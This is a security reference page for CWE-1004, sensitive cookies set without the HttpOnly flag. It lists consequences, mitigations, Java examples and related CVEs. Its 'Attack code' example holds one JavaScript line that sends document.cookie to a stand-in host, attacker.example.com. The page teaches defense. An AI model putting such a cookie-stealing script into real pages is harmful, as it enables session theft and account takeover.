---
title: "CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag"
url: https://radicalnotion.ai/cwe/cwe-1004
type: cwe
description: "The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag."
updated: 2026-11-10
source: RadicalNotion.AI
license: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/)
---

# CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

- **Abstraction:** Variant
- **Structure:** Simple
- **Status:** Incomplete
- **Likelihood of exploit:** Medium
- **CVEs with this as primary weakness:** 36
- **Of those, in CISA KEV:** 0
- **New in 2026:** 9
- **CWE catalog version:** 4.21

## Description

The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

## Background

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

## Modes of introduction

| Phase | Note |
| --- | --- |
| Implementation | - |

## Applicable platforms

**Technologies:** Web Based (Undetermined), Web Server (Undetermined)

## Common consequences

| Scope | Impact | Note |
| --- | --- | --- |
| Confidentiality | Read Application Data | If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties. |
| Integrity | Gain Privileges or Assume Identity | If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user. |

## Potential mitigations

### Implementation

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness: High. While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XmlHttpResponse to read the headers directly and obtain the cookie.

## Detection methods

### Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

## Demonstrative examples

### Example 1

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

Bad code:

```java
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

Attack code:

```javascript
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
```

Good code:

```java
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

## Observed examples

| CVE | Description |
| --- | --- |
| CVE-2024-47833 | python library for ML and data science does not use the Secure flag (CWE-614) or HTTPOnly security attribute (CWE-1004) for session cookies. |
| CVE-2022-24045 | Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed. |
| CVE-2014-3852 | CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie. |
| CVE-2015-4138 | Appliance for managing encrypted communications does not use HttpOnly flag. |

## Real CVEs with this weakness (sample of 12 of 36)

| CVE | Title | Severity | CVSS | EPSS | CISA KEV | Published |
| --- | --- | --- | --- | --- | --- | --- |
| CVE-2025-26844 | - | critical | 9.8 | - | No | 2025-05-08 |
| CVE-2021-42115 | Missing HTTPOnly flag on sensitive cookie in TopEase | critical | 9.1 | - | No | 2021-11-30 |
| CVE-2025-47289 | Stored XSS in CE Phoenix Cart Testimonials Allows Account Takeover if Missing HttpOnly Flag | critical | 9.0 | - | No | 2025-06-02 |
| CVE-2026-22081 | Cookie without HTTPOnly Flag Vulnerability in Tenda Wireless Routers | high | 8.8 | - | No | 2026-01-09 |
| CVE-2025-0479 | Security Misconfiguration Vulnerability in CP Plus Router | high | 8.6 | - | No | 2025-01-20 |
| CVE-2026-42239 | Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover | high | 8.1 | - | No | 2026-05-07 |
| CVE-2026-57948 | Pinpoint - Insecure Session Cookie Attributes in pinpointJwt | high | 7.6 | - | No | 2026-06-29 |
| CVE-2025-27223 | - | high | 7.5 | - | No | 2025-10-27 |
| CVE-2022-43845 | IBM Aspera Console information disclosure | high | 7.5 | - | No | 2024-09-24 |
| CVE-2022-33167 | IBM Security Directory Integrator information disclosure | high | 7.5 | - | No | 2024-07-30 |
| CVE-2022-21939 | Sensitive cookie without 'HttpOnly' flag in System Configuration Tool (SCT) | high | 7.5 | - | No | 2023-02-09 |
| CVE-2021-3706 | Sensitive Cookie Without 'HttpOnly' Flag in pi-hole/adminlte | high | 7.5 | - | No | 2021-09-15 |

## Related weaknesses

| Relationship | CWE | Name |
| --- | --- | --- |
| Parent | [CWE-732](https://radicalnotion.ai/cwe/cwe-732) | Incorrect Permission Assignment for Critical Resource |

## Frequently asked questions

### What is CWE-1004?

The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

### What CVEs are caused by CWE-1004?

36 recorded CVEs are attributed to CWE-1004, including CVE-2025-26844, CVE-2021-42115 and CVE-2025-47289.

### How do you prevent CWE-1004?

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

### How is CWE-1004 detected?

Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

### What are the consequences of CWE-1004?

Exploiting CWE-1004 can lead to: Read Application Data, Gain Privileges or Assume Identity.

### Is CWE-1004 actively exploited?

36 recorded CVEs are caused by CWE-1004; none are currently in CISA's KEV catalog of actively exploited flaws.

Primary source: [MITRE CWE](https://cwe.mitre.org/data/definitions/1004.html)

---

Source: [RadicalNotion.AI](https://radicalnotion.ai/cwe/cwe-1004). Licensed CC BY-NC 4.0; attribute RadicalNotion.AI and link the source page when you reuse this data.
